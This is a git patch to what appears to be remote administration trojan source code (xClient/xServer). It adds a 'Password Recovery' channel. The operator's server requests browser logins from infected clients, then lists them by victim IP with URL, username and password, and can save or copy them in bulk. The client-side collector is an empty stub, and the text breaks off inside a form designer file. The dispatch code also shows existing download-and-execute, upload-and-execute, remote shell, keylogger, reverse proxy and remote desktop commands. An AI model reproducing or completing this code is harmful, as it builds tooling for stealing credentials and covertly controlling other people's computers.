From 1d2b838b788cdf49ee81f11a44a4d9b429e45902 Mon Sep 17 00:00:00 2001 From: Skid Date: Wed, 27 May 2015 21:00:35 +0930 Subject: [PATCH] Password Recovery Server Side Work in progress, so don't think this'll work --- Client/Client.csproj | 4 + Client/Core/Commands/SurveillanceHandler.cs | 4 + .../Packets/ClientPackets/PasswordResponse.cs | 27 + .../Packets/ServerPackets/PasswordRequest.cs | 17 + Client/Core/Recovery/Helper/LoginInfo.cs | 15 + Client/Program.cs | 104 +-- Server/Core/Commands/SurveillanceHandler.cs | 15 + .../Packets/ClientPackets/PasswordResponse.cs | 27 + .../Packets/ServerPackets/PasswordRequest.cs | 17 + Server/Core/Recovery/Helper/LoginInfo.cs | 15 + Server/Core/UserState.cs | 5 +- Server/Forms/FrmMain.cs | 51 +- Server/Forms/FrmPasswordRecovery.Designer.cs | 285 ++++++++ Server/Forms/FrmPasswordRecovery.cs | 223 ++++++ Server/Forms/FrmPasswordRecovery.resx | 665 ++++++++++++++++++ Server/Properties/Resources.Designer.cs | 118 ++-- Server/Properties/Resources.resx | 17 +- Server/Server.csproj | 14 + Server/Settings/Settings.cs | 3 +- Server/images/save.png | Bin 0 -> 410 bytes 20 files changed, 1492 insertions(+), 134 deletions(-) create mode 100644 Client/Core/Packets/ClientPackets/PasswordResponse.cs create mode 100644 Client/Core/Packets/ServerPackets/PasswordRequest.cs create mode 100644 Client/Core/Recovery/Helper/LoginInfo.cs create mode 100644 Server/Core/Packets/ClientPackets/PasswordResponse.cs create mode 100644 Server/Core/Packets/ServerPackets/PasswordRequest.cs create mode 100644 Server/Core/Recovery/Helper/LoginInfo.cs create mode 100644 Server/Forms/FrmPasswordRecovery.Designer.cs create mode 100644 Server/Forms/FrmPasswordRecovery.cs create mode 100644 Server/Forms/FrmPasswordRecovery.resx create mode 100644 Server/images/save.png diff --git a/Client/Client.csproj b/Client/Client.csproj index d232a58e..1dc0dde4 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -120,6 +120,7 @@ + @@ -136,6 +137,7 @@ + @@ -152,6 +154,7 @@ + @@ -278,6 +281,7 @@ + copy "$(TargetPath)" "$(TargetDir)client.bin" /Y diff --git a/Client/Core/Commands/SurveillanceHandler.cs b/Client/Core/Commands/SurveillanceHandler.cs index 0bca6454..3045500b 100644 --- a/Client/Core/Commands/SurveillanceHandler.cs +++ b/Client/Core/Commands/SurveillanceHandler.cs @@ -11,6 +11,10 @@ namespace xClient.Core.Commands /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT ARE USED FOR SURVEILLANCE. */ public static partial class CommandHandler { + public static void HandlePasswordRequest(Packets.ServerPackets.PasswordRequest packet, Client client) + { + + } public static void HandleRemoteDesktop(Packets.ServerPackets.Desktop command, Client client) { if (StreamCodec == null || StreamCodec.ImageQuality != command.Quality || diff --git a/Client/Core/Packets/ClientPackets/PasswordResponse.cs b/Client/Core/Packets/ClientPackets/PasswordResponse.cs new file mode 100644 index 00000000..0428e351 --- /dev/null +++ b/Client/Core/Packets/ClientPackets/PasswordResponse.cs @@ -0,0 +1,27 @@ +using ProtoBuf; +using System.Collections.Generic; +using xClient.Core.Recovery.Helper; + +namespace xClient.Core.Packets.ClientPackets +{ + [ProtoContract] + public class PasswordResponse : IPacket + { + [ProtoMember(1)] + public List Passwords { get; set; } + + public PasswordResponse() + { + } + + public PasswordResponse(List data) + { + this.Passwords = data; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/PasswordRequest.cs b/Client/Core/Packets/ServerPackets/PasswordRequest.cs new file mode 100644 index 00000000..35cb9985 --- /dev/null +++ b/Client/Core/Packets/ServerPackets/PasswordRequest.cs @@ -0,0 +1,17 @@ +using ProtoBuf; +using System; + +namespace xClient.Core.Packets.ServerPackets +{ + [ProtoContract] + public class PasswordRequest : IPacket + { + public PasswordRequest() + { + } + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Client/Core/Recovery/Helper/LoginInfo.cs b/Client/Core/Recovery/Helper/LoginInfo.cs new file mode 100644 index 00000000..158ed329 --- /dev/null +++ b/Client/Core/Recovery/Helper/LoginInfo.cs @@ -0,0 +1,15 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace xClient.Core.Recovery.Helper +{ + public class LoginInfo + { + public string Username { get; set; } + public string Password { get; set; } + public string URL { get; set; } + public string Browser { get; set; } + } +} diff --git a/Client/Program.cs b/Client/Program.cs index 588dac8a..7b12df25 100644 --- a/Client/Program.cs +++ b/Client/Program.cs @@ -82,6 +82,8 @@ namespace xClient typeof (Core.Packets.ServerPackets.RemoveStartupItem), typeof (Core.Packets.ServerPackets.DownloadFileCanceled), typeof (Core.Packets.ServerPackets.GetLogs), + typeof (Core.Packets.ServerPackets.PasswordRequest), + typeof (Core.Packets.ClientPackets.PasswordResponse), typeof (Core.Packets.ClientPackets.Initialize), typeof (Core.Packets.ClientPackets.Status), typeof (Core.Packets.ClientPackets.UserStatus), @@ -233,110 +235,114 @@ namespace xClient { CommandHandler.HandleInitializeCommand((Core.Packets.ServerPackets.InitializeCommand) packet, client); } - else if (type == typeof (Core.Packets.ServerPackets.DownloadAndExecute)) + else if (type == typeof(Core.Packets.ServerPackets.PasswordRequest)) { - CommandHandler.HandleDownloadAndExecuteCommand((Core.Packets.ServerPackets.DownloadAndExecute) packet, + CommandHandler.HandlePasswordRequest((Core.Packets.ServerPackets.PasswordRequest)packet, client); + } + else if (type == typeof(Core.Packets.ServerPackets.DownloadAndExecute)) + { + CommandHandler.HandleDownloadAndExecuteCommand((Core.Packets.ServerPackets.DownloadAndExecute)packet, client); } - else if (type == typeof (Core.Packets.ServerPackets.UploadAndExecute)) + else if (type == typeof(Core.Packets.ServerPackets.UploadAndExecute)) { - CommandHandler.HandleUploadAndExecute((Core.Packets.ServerPackets.UploadAndExecute) packet, client); + CommandHandler.HandleUploadAndExecute((Core.Packets.ServerPackets.UploadAndExecute)packet, client); } - else if (type == typeof (Core.Packets.ServerPackets.Disconnect)) + else if (type == typeof(Core.Packets.ServerPackets.Disconnect)) { Disconnect(); } - else if (type == typeof (Core.Packets.ServerPackets.Reconnect)) + else if (type == typeof(Core.Packets.ServerPackets.Reconnect)) { Disconnect(true); } - else if (type == typeof (Core.Packets.ServerPackets.Uninstall)) + else if (type == typeof(Core.Packets.ServerPackets.Uninstall)) { - CommandHandler.HandleUninstall((Core.Packets.ServerPackets.Uninstall) packet, client); + CommandHandler.HandleUninstall((Core.Packets.ServerPackets.Uninstall)packet, client); } - else if (type == typeof (Core.Packets.ServerPackets.Desktop)) + else if (type == typeof(Core.Packets.ServerPackets.Desktop)) { - CommandHandler.HandleRemoteDesktop((Core.Packets.ServerPackets.Desktop) packet, client); + CommandHandler.HandleRemoteDesktop((Core.Packets.ServerPackets.Desktop)packet, client); } - else if (type == typeof (Core.Packets.ServerPackets.GetProcesses)) + else if (type == typeof(Core.Packets.ServerPackets.GetProcesses)) { - CommandHandler.HandleGetProcesses((Core.Packets.ServerPackets.GetProcesses) packet, client); + CommandHandler.HandleGetProcesses((Core.Packets.ServerPackets.GetProcesses)packet, client); } - else if (type == typeof (Core.Packets.ServerPackets.KillProcess)) + else if (type == typeof(Core.Packets.ServerPackets.KillProcess)) { - CommandHandler.HandleKillProcess((Core.Packets.ServerPackets.KillProcess) packet, client); + CommandHandler.HandleKillProcess((Core.Packets.ServerPackets.KillProcess)packet, client); } - else if (type == typeof (Core.Packets.ServerPackets.StartProcess)) + else if (type == typeof(Core.Packets.ServerPackets.StartProcess)) { - CommandHandler.HandleStartProcess((Core.Packets.ServerPackets.StartProcess) packet, client); + CommandHandler.HandleStartProcess((Core.Packets.ServerPackets.StartProcess)packet, client); } - else if (type == typeof (Core.Packets.ServerPackets.Drives)) + else if (type == typeof(Core.Packets.ServerPackets.Drives)) { - CommandHandler.HandleDrives((Core.Packets.ServerPackets.Drives) packet, client); + CommandHandler.HandleDrives((Core.Packets.ServerPackets.Drives)packet, client); } - else if (type == typeof (Core.Packets.ServerPackets.Directory)) + else if (type == typeof(Core.Packets.ServerPackets.Directory)) { - CommandHandler.HandleDirectory((Core.Packets.ServerPackets.Directory) packet, client); + CommandHandler.HandleDirectory((Core.Packets.ServerPackets.Directory)packet, client); } - else if (type == typeof (Core.Packets.ServerPackets.DownloadFile)) + else if (type == typeof(Core.Packets.ServerPackets.DownloadFile)) { - CommandHandler.HandleDownloadFile((Core.Packets.ServerPackets.DownloadFile) packet, client); + CommandHandler.HandleDownloadFile((Core.Packets.ServerPackets.DownloadFile)packet, client); } - else if (type == typeof (Core.Packets.ServerPackets.MouseClick)) + else if (type == typeof(Core.Packets.ServerPackets.MouseClick)) { - CommandHandler.HandleMouseClick((Core.Packets.ServerPackets.MouseClick) packet, client); + CommandHandler.HandleMouseClick((Core.Packets.ServerPackets.MouseClick)packet, client); } - else if (type == typeof (Core.Packets.ServerPackets.GetSystemInfo)) + else if (type == typeof(Core.Packets.ServerPackets.GetSystemInfo)) { - CommandHandler.HandleGetSystemInfo((Core.Packets.ServerPackets.GetSystemInfo) packet, client); + CommandHandler.HandleGetSystemInfo((Core.Packets.ServerPackets.GetSystemInfo)packet, client); } - else if (type == typeof (Core.Packets.ServerPackets.VisitWebsite)) + else if (type == typeof(Core.Packets.ServerPackets.VisitWebsite)) { - CommandHandler.HandleVisitWebsite((Core.Packets.ServerPackets.VisitWebsite) packet, client); + CommandHandler.HandleVisitWebsite((Core.Packets.ServerPackets.VisitWebsite)packet, client); } - else if (type == typeof (Core.Packets.ServerPackets.ShowMessageBox)) + else if (type == typeof(Core.Packets.ServerPackets.ShowMessageBox)) { - CommandHandler.HandleShowMessageBox((Core.Packets.ServerPackets.ShowMessageBox) packet, client); + CommandHandler.HandleShowMessageBox((Core.Packets.ServerPackets.ShowMessageBox)packet, client); } - else if (type == typeof (Core.Packets.ServerPackets.Update)) + else if (type == typeof(Core.Packets.ServerPackets.Update)) { - CommandHandler.HandleUpdate((Core.Packets.ServerPackets.Update) packet, client); + CommandHandler.HandleUpdate((Core.Packets.ServerPackets.Update)packet, client); } - else if (type == typeof (Core.Packets.ServerPackets.Monitors)) + else if (type == typeof(Core.Packets.ServerPackets.Monitors)) { - CommandHandler.HandleMonitors((Core.Packets.ServerPackets.Monitors) packet, client); + CommandHandler.HandleMonitors((Core.Packets.ServerPackets.Monitors)packet, client); } - else if (type == typeof (Core.Packets.ServerPackets.ShellCommand)) + else if (type == typeof(Core.Packets.ServerPackets.ShellCommand)) { - CommandHandler.HandleShellCommand((Core.Packets.ServerPackets.ShellCommand) packet, client); + CommandHandler.HandleShellCommand((Core.Packets.ServerPackets.ShellCommand)packet, client); } - else if (type == typeof (Core.Packets.ServerPackets.Rename)) + else if (type == typeof(Core.Packets.ServerPackets.Rename)) { - CommandHandler.HandleRename((Core.Packets.ServerPackets.Rename) packet, client); + CommandHandler.HandleRename((Core.Packets.ServerPackets.Rename)packet, client); } - else if (type == typeof (Core.Packets.ServerPackets.Delete)) + else if (type == typeof(Core.Packets.ServerPackets.Delete)) { - CommandHandler.HandleDelete((Core.Packets.ServerPackets.Delete) packet, client); + CommandHandler.HandleDelete((Core.Packets.ServerPackets.Delete)packet, client); } - else if (type == typeof (Core.Packets.ServerPackets.Action)) + else if (type == typeof(Core.Packets.ServerPackets.Action)) { - CommandHandler.HandleAction((Core.Packets.ServerPackets.Action) packet, client); + CommandHandler.HandleAction((Core.Packets.ServerPackets.Action)packet, client); } - else if (type == typeof (Core.Packets.ServerPackets.GetStartupItems)) + else if (type == typeof(Core.Packets.ServerPackets.GetStartupItems)) { - CommandHandler.HandleGetStartupItems((Core.Packets.ServerPackets.GetStartupItems) packet, client); + CommandHandler.HandleGetStartupItems((Core.Packets.ServerPackets.GetStartupItems)packet, client); } - else if (type == typeof (Core.Packets.ServerPackets.AddStartupItem)) + else if (type == typeof(Core.Packets.ServerPackets.AddStartupItem)) { - CommandHandler.HandleAddStartupItem((Core.Packets.ServerPackets.AddStartupItem) packet, client); + CommandHandler.HandleAddStartupItem((Core.Packets.ServerPackets.AddStartupItem)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.RemoveStartupItem)) { - CommandHandler.HandleAddRemoveStartupItem((Core.Packets.ServerPackets.RemoveStartupItem) packet, client); + CommandHandler.HandleAddRemoveStartupItem((Core.Packets.ServerPackets.RemoveStartupItem)packet, client); } - else if (type == typeof (Core.Packets.ServerPackets.DownloadFileCanceled)) + else if (type == typeof(Core.Packets.ServerPackets.DownloadFileCanceled)) { - CommandHandler.HandleDownloadFileCanceled((Core.Packets.ServerPackets.DownloadFileCanceled) packet, + CommandHandler.HandleDownloadFileCanceled((Core.Packets.ServerPackets.DownloadFileCanceled)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.GetLogs)) diff --git a/Server/Core/Commands/SurveillanceHandler.cs b/Server/Core/Commands/SurveillanceHandler.cs index cca1b8fa..d62690b1 100644 --- a/Server/Core/Commands/SurveillanceHandler.cs +++ b/Server/Core/Commands/SurveillanceHandler.cs @@ -4,12 +4,27 @@ using System.Threading; using System.Windows.Forms; using xServer.Core.Helper; using xServer.Core.Packets.ClientPackets; +using xServer.Core.Recovery.Helper; namespace xServer.Core.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT ARE USED FOR SURVEILLANCE. */ public static partial class CommandHandler { + public static void HandlePasswordResponse(Client client, PasswordResponse packet) + { + if (client.Value.FrmPass == null) + return; + + if (packet.Passwords == null) + return; + + foreach (LoginInfo login in packet.Passwords) + { + // add them to the listview of frmpass + client.Value.FrmPass.AddPassword(login, client); + } + } public static void HandleRemoteDesktopResponse(Client client, DesktopResponse packet) { if (client.Value.FrmRdp == null) diff --git a/Server/Core/Packets/ClientPackets/PasswordResponse.cs b/Server/Core/Packets/ClientPackets/PasswordResponse.cs new file mode 100644 index 00000000..17c5467e --- /dev/null +++ b/Server/Core/Packets/ClientPackets/PasswordResponse.cs @@ -0,0 +1,27 @@ +using ProtoBuf; +using System.Collections.Generic; +using xServer.Core.Recovery.Helper; + +namespace xServer.Core.Packets.ClientPackets +{ + [ProtoContract] + public class PasswordResponse : IPacket + { + [ProtoMember(1)] + public List Passwords { get; set; } + + public PasswordResponse() + { + } + + public PasswordResponse(List data) + { + this.Passwords = data; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/PasswordRequest.cs b/Server/Core/Packets/ServerPackets/PasswordRequest.cs new file mode 100644 index 00000000..7736c959 --- /dev/null +++ b/Server/Core/Packets/ServerPackets/PasswordRequest.cs @@ -0,0 +1,17 @@ +using ProtoBuf; +using System; + +namespace xServer.Core.Packets.ServerPackets +{ + [ProtoContract] + public class PasswordRequest : IPacket + { + public PasswordRequest() + { + } + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Server/Core/Recovery/Helper/LoginInfo.cs b/Server/Core/Recovery/Helper/LoginInfo.cs new file mode 100644 index 00000000..43068059 --- /dev/null +++ b/Server/Core/Recovery/Helper/LoginInfo.cs @@ -0,0 +1,15 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace xServer.Core.Recovery.Helper +{ + public class LoginInfo + { + public string Username { get; set; } + public string Password { get; set; } + public string URL { get; set; } + public string Browser { get; set; } + } +} diff --git a/Server/Core/UserState.cs b/Server/Core/UserState.cs index e168fbca..acca6a6f 100644 --- a/Server/Core/UserState.cs +++ b/Server/Core/UserState.cs @@ -25,7 +25,8 @@ namespace xServer.Core public FrmStartupManager FrmStm { get; set; } public FrmKeylogger FrmKl { get; set; } public FrmReverseProxy FrmProxy { get; set; } - + public FrmPasswordRecovery FrmPass { get; set; } + public bool IsAuthenticated { get; set; } public bool LastDesktopSeen { get; set; } public bool LastDirectorySeen { get; set; } @@ -65,6 +66,8 @@ namespace xServer.Core FrmKl.Close(); if (FrmProxy != null) FrmProxy.Close(); + if (FrmPass != null) + FrmPass.Close(); } } } \ No newline at end of file diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index b0f3bd30..8b84a968 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -31,6 +31,7 @@ namespace xServer.Forms XMLSettings.AutoListen = bool.Parse(XMLSettings.ReadValue("AutoListen")); XMLSettings.ShowPopup = bool.Parse(XMLSettings.ReadValue("ShowPopup")); XMLSettings.UseUPnP = bool.Parse(XMLSettings.ReadValue("UseUPnP")); + XMLSettings.SaveFormat = XMLSettings.ReadValueSafe("SaveFormat", "BROWSER - URL - USER:PASS"); XMLSettings.ShowToolTip = bool.Parse(XMLSettings.ReadValueSafe("ShowToolTip", "False")); XMLSettings.IntegrateNoIP = bool.Parse(XMLSettings.ReadValueSafe("EnableNoIPUpdater", "False")); @@ -134,7 +135,9 @@ namespace xServer.Forms typeof (Core.Packets.ServerPackets.RemoveStartupItem), typeof (Core.Packets.ServerPackets.DownloadFileCanceled), typeof (Core.Packets.ServerPackets.GetLogs), + typeof (Core.Packets.ServerPackets.PasswordRequest), typeof (Core.Packets.ClientPackets.Initialize), + typeof (Core.Packets.ClientPackets.PasswordResponse), typeof (Core.Packets.ClientPackets.Status), typeof (Core.Packets.ClientPackets.UserStatus), typeof (Core.Packets.ClientPackets.DesktopResponse), @@ -248,54 +251,58 @@ namespace xServer.Forms { CommandHandler.HandleStatus(client, (Core.Packets.ClientPackets.Status) packet); } - else if (type == typeof (Core.Packets.ClientPackets.UserStatus)) + else if (type == typeof(Core.Packets.ClientPackets.PasswordResponse)) { - CommandHandler.HandleUserStatus(client, (Core.Packets.ClientPackets.UserStatus) packet); + CommandHandler.HandlePasswordResponse(client, (Core.Packets.ClientPackets.PasswordResponse)packet); } - else if (type == typeof (Core.Packets.ClientPackets.DesktopResponse)) + else if (type == typeof(Core.Packets.ClientPackets.UserStatus)) { - CommandHandler.HandleRemoteDesktopResponse(client, (Core.Packets.ClientPackets.DesktopResponse) packet); + CommandHandler.HandleUserStatus(client, (Core.Packets.ClientPackets.UserStatus)packet); } - else if (type == typeof (Core.Packets.ClientPackets.GetProcessesResponse)) + else if (type == typeof(Core.Packets.ClientPackets.DesktopResponse)) + { + CommandHandler.HandleRemoteDesktopResponse(client, (Core.Packets.ClientPackets.DesktopResponse)packet); + } + else if (type == typeof(Core.Packets.ClientPackets.GetProcessesResponse)) { CommandHandler.HandleGetProcessesResponse(client, - (Core.Packets.ClientPackets.GetProcessesResponse) packet); + (Core.Packets.ClientPackets.GetProcessesResponse)packet); } - else if (type == typeof (Core.Packets.ClientPackets.DrivesResponse)) + else if (type == typeof(Core.Packets.ClientPackets.DrivesResponse)) { - CommandHandler.HandleDrivesResponse(client, (Core.Packets.ClientPackets.DrivesResponse) packet); + CommandHandler.HandleDrivesResponse(client, (Core.Packets.ClientPackets.DrivesResponse)packet); } - else if (type == typeof (Core.Packets.ClientPackets.DirectoryResponse)) + else if (type == typeof(Core.Packets.ClientPackets.DirectoryResponse)) { - CommandHandler.HandleDirectoryResponse(client, (Core.Packets.ClientPackets.DirectoryResponse) packet); + CommandHandler.HandleDirectoryResponse(client, (Core.Packets.ClientPackets.DirectoryResponse)packet); } - else if (type == typeof (Core.Packets.ClientPackets.DownloadFileResponse)) + else if (type == typeof(Core.Packets.ClientPackets.DownloadFileResponse)) { CommandHandler.HandleDownloadFileResponse(client, - (Core.Packets.ClientPackets.DownloadFileResponse) packet); + (Core.Packets.ClientPackets.DownloadFileResponse)packet); } - else if (type == typeof (Core.Packets.ClientPackets.GetSystemInfoResponse)) + else if (type == typeof(Core.Packets.ClientPackets.GetSystemInfoResponse)) { CommandHandler.HandleGetSystemInfoResponse(client, - (Core.Packets.ClientPackets.GetSystemInfoResponse) packet); + (Core.Packets.ClientPackets.GetSystemInfoResponse)packet); } - else if (type == typeof (Core.Packets.ClientPackets.MonitorsResponse)) + else if (type == typeof(Core.Packets.ClientPackets.MonitorsResponse)) { - CommandHandler.HandleMonitorsResponse(client, (Core.Packets.ClientPackets.MonitorsResponse) packet); + CommandHandler.HandleMonitorsResponse(client, (Core.Packets.ClientPackets.MonitorsResponse)packet); } - else if (type == typeof (Core.Packets.ClientPackets.ShellCommandResponse)) + else if (type == typeof(Core.Packets.ClientPackets.ShellCommandResponse)) { CommandHandler.HandleShellCommandResponse(client, - (Core.Packets.ClientPackets.ShellCommandResponse) packet); + (Core.Packets.ClientPackets.ShellCommandResponse)packet); } - else if (type == typeof (Core.Packets.ClientPackets.GetStartupItemsResponse)) + else if (type == typeof(Core.Packets.ClientPackets.GetStartupItemsResponse)) { - CommandHandler.HandleGetStartupItemsResponse(client, - (Core.Packets.ClientPackets.GetStartupItemsResponse) packet); + CommandHandler.HandleGetStartupItemsResponse(client, + (Core.Packets.ClientPackets.GetStartupItemsResponse)packet); } else if (type == typeof(Core.Packets.ClientPackets.GetLogsResponse)) { - CommandHandler.HandleGetLogsResponse(client, (Core.Packets.ClientPackets.GetLogsResponse) packet); + CommandHandler.HandleGetLogsResponse(client, (Core.Packets.ClientPackets.GetLogsResponse)packet); } else if (type == typeof(Core.ReverseProxy.Packets.ReverseProxyConnectResponse) || type == typeof(Core.ReverseProxy.Packets.ReverseProxyData) || diff --git a/Server/Forms/FrmPasswordRecovery.Designer.cs b/Server/Forms/FrmPasswordRecovery.Designer.cs new file mode 100644 index 00000000..763ff9a4 --- /dev/null +++ b/Server/Forms/FrmPasswordRecovery.Designer.cs @@ -0,0 +1,285 @@ +namespace xServer.Forms +{ + partial class FrmPasswordRecovery + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmPasswordRecovery)); + this.lstPasswords = new xServer.Controls.ListViewEx(); + this.hClientIP = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hURL = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hUser = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hPass = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.menuMain = new System.Windows.Forms.ContextMenuStrip(this.components); + this.saveToFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.allToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.selectedToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.saveToClipboardToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.allToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.selectedToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator(); + this.clearAllToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.groupBox1 = new System.Windows.Forms.GroupBox(); + this.sfdPasswords = new System.Windows.Forms.SaveFileDialog(); + this.groupBox2 = new System.Windows.Forms.GroupBox(); + this.label1 = new System.Windows.Forms.Label(); + this.txtFormat = new System.Windows.Forms.TextBox(); + this.allToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.selectedToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.menuMain.SuspendLayout(); + this.groupBox1.SuspendLayout(); + this.groupBox2.SuspendLayout(); + this.SuspendLayout(); + // + // lstPasswords + // + this.lstPasswords.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.hClientIP, + this.hURL, + this.hUser, + this.hPass}); + this.lstPasswords.ContextMenuStrip = this.menuMain; + this.lstPasswords.GridLines = true; + this.lstPasswords.HideSelection = false; + this.lstPasswords.Location = new System.Drawing.Point(6, 19); + this.lstPasswords.Name = "lstPasswords"; + this.lstPasswords.Size = new System.Drawing.Size(537, 300); + this.lstPasswords.TabIndex = 0; + this.lstPasswords.UseCompatibleStateImageBehavior = false; + this.lstPasswords.View = System.Windows.Forms.View.Details; + // + // hClientIP + // + this.hClientIP.Text = "Client IP"; + this.hClientIP.Width = 107; + // + // hURL + // + this.hURL.Text = "URL"; + this.hURL.Width = 151; + // + // hUser + // + this.hUser.Text = "Username"; + this.hUser.Width = 142; + // + // hPass + // + this.hPass.Text = "Password"; + this.hPass.Width = 130; + // + // menuMain + // + this.menuMain.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.saveToFileToolStripMenuItem, + this.saveToClipboardToolStripMenuItem, + this.toolStripSeparator1, + this.clearAllToolStripMenuItem, + this.refreshToolStripMenuItem}); + this.menuMain.Name = "menuMain"; + this.menuMain.Size = new System.Drawing.Size(169, 120); + // + // saveToFileToolStripMenuItem + // + this.saveToFileToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.allToolStripMenuItem, + this.selectedToolStripMenuItem}); + this.saveToFileToolStripMenuItem.Image = global::xServer.Properties.Resources.save; + this.saveToFileToolStripMenuItem.Name = "saveToFileToolStripMenuItem"; + this.saveToFileToolStripMenuItem.Size = new System.Drawing.Size(168, 22); + this.saveToFileToolStripMenuItem.Text = "Save to File"; + // + // allToolStripMenuItem + // + this.allToolStripMenuItem.Name = "allToolStripMenuItem"; + this.allToolStripMenuItem.Size = new System.Drawing.Size(152, 22); + this.allToolStripMenuItem.Text = "All"; + this.allToolStripMenuItem.Click += new System.EventHandler(this.allToolStripMenuItem_Click); + // + // selectedToolStripMenuItem + // + this.selectedToolStripMenuItem.Name = "selectedToolStripMenuItem"; + this.selectedToolStripMenuItem.Size = new System.Drawing.Size(152, 22); + this.selectedToolStripMenuItem.Text = "Selected"; + this.selectedToolStripMenuItem.Click += new System.EventHandler(this.selectedToolStripMenuItem_Click); + // + // saveToClipboardToolStripMenuItem + // + this.saveToClipboardToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.allToolStripMenuItem1, + this.selectedToolStripMenuItem1}); + this.saveToClipboardToolStripMenuItem.Image = global::xServer.Properties.Resources.copy; + this.saveToClipboardToolStripMenuItem.Name = "saveToClipboardToolStripMenuItem"; + this.saveToClipboardToolStripMenuItem.Size = new System.Drawing.Size(168, 22); + this.saveToClipboardToolStripMenuItem.Text = "Copy to Clipboard"; + // + // allToolStripMenuItem1 + // + this.allToolStripMenuItem1.Name = "allToolStripMenuItem1"; + this.allToolStripMenuItem1.Size = new System.Drawing.Size(152, 22); + this.allToolStripMenuItem1.Text = "All"; + this.allToolStripMenuItem1.Click += new System.EventHandler(this.allToolStripMenuItem1_Click); + // + // selectedToolStripMenuItem1 + // + this.selectedToolStripMenuItem1.Name = "selectedToolStripMenuItem1"; + this.selectedToolStripMenuItem1.Size = new System.Drawing.Size(152, 22); + this.selectedToolStripMenuItem1.Text = "Selected"; + this.selectedToolStripMenuItem1.Click += new System.EventHandler(this.selectedToolStripMenuItem1_Click); + // + // toolStripSeparator1 + // + this.toolStripSeparator1.Name = "toolStripSeparator1"; + this.toolStripSeparator1.Size = new System.Drawing.Size(165, 6); + // + // clearAllToolStripMenuItem + // + this.clearAllToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.allToolStripMenuItem2, + this.selectedToolStripMenuItem2}); + this.clearAllToolStripMenuItem.Image = global::xServer.Properties.Resources.delete; + this.clearAllToolStripMenuItem.Name = "clearAllToolStripMenuItem"; + this.clearAllToolStripMenuItem.Size = new System.Drawing.Size(168, 22); + this.clearAllToolStripMenuItem.Text = "Clear"; + // + // refreshToolStripMenuItem + // + this.refreshToolStripMenuItem.Image = global::xServer.Properties.Resources.refresh; + this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; + this.refreshToolStripMenuItem.Size = new System.Drawing.Size(168, 22); + this.refreshToolStripMenuItem.Text = "Refresh"; + this.refreshToolStripMenuItem.Click += new System.EventHandler(this.refreshToolStripMenuItem_Click); + // + // groupBox1 + // + this.groupBox1.Controls.Add(this.lstPasswords); + this.groupBox1.Location = new System.Drawing.Point(12, 12); + this.groupBox1.Name = "groupBox1"; + this.groupBox1.Size = new System.Drawing.Size(549, 325); + this.groupBox1.TabIndex = 1; + this.groupBox1.TabStop = false; + this.groupBox1.Text = "Password Data"; + // + // sfdPasswords + // + this.sfdPasswords.Filter = "Text Files|*.txt|All files|*.*"; + this.sfdPasswords.RestoreDirectory = true; + this.sfdPasswords.SupportMultiDottedExtensions = true; + this.sfdPasswords.Title = "Save Passwords to File..."; + // + // groupBox2 + // + this.groupBox2.Controls.Add(this.label1); + this.groupBox2.Controls.Add(this.txtFormat); + this.groupBox2.Location = new System.Drawing.Point(12, 343); + this.groupBox2.Name = "groupBox2"; + this.groupBox2.Size = new System.Drawing.Size(549, 90); + this.groupBox2.TabIndex = 2; + this.groupBox2.TabStop = false; + this.groupBox2.Text = "Custom Saving/Copying Format"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(6, 49); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(418, 26); + this.label1.TabIndex = 1; + this.label1.Text = "You can change the way the logins are saved by adjusting the format in the box ab" + + "ove.\r\nAvailable variables: BROWSER, URL, USER, PASS\r\n"; + // + // txtFormat + // + 